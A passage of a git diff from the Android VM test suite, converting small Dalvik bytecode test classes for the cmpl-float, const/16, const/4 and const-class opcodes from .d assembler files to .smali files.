-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpl_float_2.java
-.class public dot.junit.opcodes.cmpl_float.d.T_cmpl_float_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 9
-       const-wide v1, 3.1414
-       cmpl-float v0, v7, v1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_2.smali
new file mode 100644
index 0000000..2c460ab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_2.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_float_2.java"
+.class  public Ldot/junit/opcodes/cmpl_float/d/T_cmpl_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       const-wide v1, 3.1414
+       cmpl-float v0, v7, v1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_3.d
deleted file mode 100644
index b43f114..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpl_float_3.java
-.class public dot.junit.opcodes.cmpl_float.d.T_cmpl_float_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 9
-       const-wide v1, 234234
-       cmpl-float v0, v1, v7
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_3.smali
new file mode 100644
index 0000000..5802686
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_float_3.java"
+.class  public Ldot/junit/opcodes/cmpl_float/d/T_cmpl_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       const-wide v1, 234234
+       cmpl-float v0, v1, v7
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_4.d
deleted file mode 100644
index a4aa08e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpl_float_4.java
-.class public dot.junit.opcodes.cmpl_float.d.T_cmpl_float_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 9
-       cmpl-float v0, v6, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_4.smali
new file mode 100644
index 0000000..d63cd04
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_float_4.java"
+.class  public Ldot/junit/opcodes/cmpl_float/d/T_cmpl_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       cmpl-float v0, v6, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_5.d
deleted file mode 100644
index d496c11..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpl_float_5.java
-.class public dot.junit.opcodes.cmpl_float.d.T_cmpl_float_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 9
-       cmpl-float v0, v9, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_5.smali
new file mode 100644
index 0000000..1aed194
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_float_5.java"
+.class  public Ldot/junit/opcodes/cmpl_float/d/T_cmpl_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       cmpl-float v0, v9, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_6.d
deleted file mode 100644
index 05a9e62..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpl_float_6.java
-.class public dot.junit.opcodes.cmpl_float.d.T_cmpl_float_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 9
-       cmpl-float v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_6.smali
new file mode 100644
index 0000000..b0cad4c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_float_6.java"
+.class  public Ldot/junit/opcodes/cmpl_float/d/T_cmpl_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 9
+       cmpl-float v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_1.d
deleted file mode 100644
index 6078e06..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_16_1.java
-.class public dot.junit.opcodes.const_16.d.T_const_16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 255
-
-       const/16 v254, -20000
-       return v254
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_1.smali
new file mode 100644
index 0000000..6468569
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_16_1.java"
+.class  public Ldot/junit/opcodes/const_16/d/T_const_16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 255
+
+       const/16 v254, -20000
+       return v254
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_3.d
deleted file mode 100644
index 4e0bfa7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_16_3.java
-.class public dot.junit.opcodes.const_16.d.T_const_16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const/16 v3, 1234
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_3.smali
new file mode 100644
index 0000000..c424437
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_16_3.java"
+.class  public Ldot/junit/opcodes/const_16/d/T_const_16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v3, 1234
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_4.d
deleted file mode 100644
index 4040879..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_16_4.java
-.class public dot.junit.opcodes.const_16.d.T_const_16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-       const-wide v0, 1234    
-       const/16 v1, 1234
-
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_4.smali
new file mode 100644
index 0000000..f1327ff
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_16_4.java"
+.class  public Ldot/junit/opcodes/const_16/d/T_const_16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       const-wide v0, 1234    
+       const/16 v1, 1234
+
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_1.d
deleted file mode 100644
index 77c522e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_4_1.java
-.class public dot.junit.opcodes.const_4.d.T_const_4_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 16
-
-       const/4 v15, -4
-       return v15
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_1.smali
new file mode 100644
index 0000000..fc12cbf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_4_1.java"
+.class  public Ldot/junit/opcodes/const_4/d/T_const_4_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 16
+
+       const/4 v15, -4
+       return v15
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_3.d
deleted file mode 100644
index d435f16..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_4_3.java
-.class public dot.junit.opcodes.const_4.d.T_const_4_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const/4 v3, 1
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_3.smali
new file mode 100644
index 0000000..7eafb5f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_4_3.java"
+.class  public Ldot/junit/opcodes/const_4/d/T_const_4_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/4 v3, 1
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_4.d
deleted file mode 100644
index 5ca94d5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_4_4.java
-.class public dot.junit.opcodes.const_4.d.T_const_4_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-       const-wide v0, 1234    
-       const/4 v1, 2
-
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_4.smali
new file mode 100644
index 0000000..187d615
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_4_4.java"
+.class  public Ldot/junit/opcodes/const_4/d/T_const_4_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       const-wide v0, 1234    
+       const/4 v1, 2
+
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_1.d
deleted file mode 100644
index 6359d92..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_class_1.java
-.class public dot.junit.opcodes.const_class.d.T_const_class_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Class;
-.limit regs 255
-
-       const-class v254, java/lang/String
-       return-object v254
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_1.smali
new file mode 100644
index 0000000..78561e5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_1.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/const_class/d/T_const_class_1;
+.super Ljava/lang/Object;
+.source "T_const_class_1.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ljava/lang/Class;
+    .registers 255
+
+    const-class p0, Ljava/lang/String;
+
+    return-object p0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_2.d
deleted file mode 100644
index 39bb30e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_class_2.java
-.class public dot.junit.opcodes.const_class.d.T_const_class_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Class;
-.limit regs 255
-
-       const-class v254, I
-       return-object v254
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_2.smali
new file mode 100644
index 0000000..bea9b30
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
